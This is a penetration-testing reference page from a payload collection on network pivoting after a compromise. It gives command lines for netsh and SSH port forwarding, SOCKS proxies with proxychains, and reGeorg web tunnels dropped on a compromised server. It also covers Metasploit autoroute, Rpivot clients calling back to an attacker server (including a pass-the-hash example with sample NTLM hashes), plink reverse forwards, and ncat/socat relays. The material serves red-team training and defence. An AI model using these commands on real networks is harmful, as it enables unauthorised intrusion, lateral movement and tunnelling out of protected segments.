PayloadsAllTheThings/Methodology and Resources/Network Pivoting Techniques.md

Network Pivoting Techniques

Windows netsh Port Forwarding

netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport

netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110

1. listenaddress – is a local IP address waiting for a connection.
2. listenport – local listening TCP port (the connection is waited on it).
3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
4. connectport – is a TCP port to which the connection from listenport is forwarded to.

SSH

SOCKS Proxy

ssh -D8080 [user]@[host]

ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command

Cool Tip : Konami SSH Port forwarding

[ENTER] + [~C]
-D 1090

Local Port Forwarding

ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]

Remote Port Forwarding

ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]

Proxychains

Config file: /etc/proxychains.conf

[ProxyList]
socks4 localhost 8080

Set the SOCKS4 proxy then proxychains nmap -sT 192.168.5.6

Web SOCKS - reGeorg

reGeorg, the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

Drop one of the following files on the server:

• tunnel.ashx
• tunnel.aspx
• tunnel.js
• tunnel.jsp
• tunnel.nosocket.php
• tunnel.php
• tunnel.tomcat.5.jsp

python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080

optional arguments:
  -h, --help           show this help message and exit
  -l , --listen-on     The default listening address
  -p , --listen-port   The default listening port
  -r , --read-buff     Local read buffer, max data to be sent per POST
  -u , --url           The url containing the tunnel script
  -v , --verbose       Verbose output[INFO|DEBUG]

Metasploit

portfwd list
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445

or

run autoroute -s 192.168.57.0/24
use auxiliary/server/socks4a

Rpivot

Server (Attacker box)

python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0

Client (Compromised box)

python client.py --server-ip <ip> --server-port 9443

Through corporate proxy

python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e

Passing the hash

python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE

plink

plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389    --> exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw mypassword 192.168.18.84 -R
plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]

Basic Pivoting Types

Type	Use Case
Listen - Listen	Exposed asset, may not want to connect out.
Listen - Connect	Normal redirect.
Connect - Connect	Can’t bind, so connect to bridge two hosts

Listen - Listen

Type	Use Case
ncat	ncat -v -l -p 8080 -c "ncat -v -l -p 9090"
socat	socat -v tcp-listen:8080 tcp-listen:9090
remote host 1	ncat localhost 8080 < file
remote host 2	ncat localhost 9090 > newfile

Listen - Connect

Type	Use Case
ncat	ncat -l -v -p 8080 -c "ncat localhost 9090"
socat	socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090
remote host 1	ncat localhost -p 8080 < file
remote host 2	ncat -l -p 9090 > newfile

Connect - Connect

Type	Use Case
ncat	ncat localhost 8080 -c "ncat localhost 9090"
socat	socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090
remote host 1	`ncat -l -p 8080 < file
remote host 2	ncat -l -p 9090 > newfile

References

• Network Pivoting Techniques - Bit rot
• Port Forwarding in Windows - Windows OS Hub
• Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin
• A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko
• Pivoting Meterpreter